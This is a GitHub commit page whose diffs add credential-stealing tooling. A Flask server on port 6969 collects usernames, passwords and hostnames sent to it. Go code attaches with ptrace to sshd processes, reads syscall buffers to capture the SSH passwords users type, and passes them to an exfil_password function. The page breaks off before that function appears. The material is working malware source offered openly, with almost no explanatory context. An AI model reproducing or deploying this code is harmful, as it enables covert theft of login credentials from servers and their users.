-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #2 from ProDefense/debug
Reworking program
- Loading branch information
Showing
8 changed files
with
183 additions
and
207 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
from flask import Flask, request | ||
|
||
app = Flask(__name__) | ||
|
||
|
||
@app.route('/', methods=['GET']) | ||
def receive_payload(): | ||
username = request.args.get('username') | ||
password = request.args.get('password') | ||
hostname = request.args.get('hostname') | ||
|
||
if username and password and hostname: | ||
print(f"Received payload - Username: {username}, Password: {password}, Hostname: {hostname}") | ||
return '', 200 | ||
else: | ||
return 'Invalid payload', 400 | ||
|
||
if __name__ == '__main__': | ||
app.run(host='0.0.0.0', port=6969) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
package main | ||
|
||
import ( | ||
"fmt" | ||
"io/ioutil" | ||
"regexp" | ||
"syscall" | ||
) | ||
|
||
func traceSSHDProcess(pid int) { | ||
err := syscall.PtraceAttach(pid) | ||
if err != nil { | ||
return | ||
} | ||
defer func() { | ||
syscall.PtraceDetach(pid) | ||
}() | ||
|
||
var wstatus syscall.WaitStatus | ||
for { | ||
|
||
_, err := syscall.Wait4(pid, &wstatus, 0, nil) | ||
if err != nil { | ||
return | ||
} | ||
|
||
if wstatus.Exited() { | ||
return | ||
} | ||
|
||
if wstatus.StopSignal() == syscall.SIGTRAP { | ||
var regs syscall.PtraceRegs | ||
err := syscall.PtraceGetRegs(pid, ®s) | ||
if err != nil { | ||
syscall.PtraceDetach(pid) | ||
return | ||
} | ||
// Find some way to only find it once | ||
if regs.Rdi == 5 && regs.Orig_rax == 1 { | ||
buffer := make([]byte, regs.Rdx) | ||
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer) | ||
if err != nil { | ||
return | ||
} | ||
if len(buffer) < 250 && len(buffer) > 5 && string(buffer) != "" { | ||
username := "root" | ||
cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) | ||
matches := regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).FindSubmatch(cmdline) | ||
if len(matches) == 2 { | ||
username = string(matches[1]) | ||
} | ||
var password = string(buffer) | ||
valid := regexp.MustCompile(`\x00\x00\x00[^\n]*\f$`).MatchString(password) | ||
if !valid { | ||
go exfil_password(username, removeFirstFourBytes(password)) | ||
} | ||
} | ||
} | ||
} | ||
|
||
err = syscall.PtraceSyscall(pid, 0) | ||
if err != nil { | ||
return | ||
} | ||
} | ||
} | ||
|
||
func removeFirstFourBytes(input string) string { | ||
if len(input) < 4 { | ||
return "" | ||
} | ||
return input[4:] | ||
} |
Oops, something went wrong.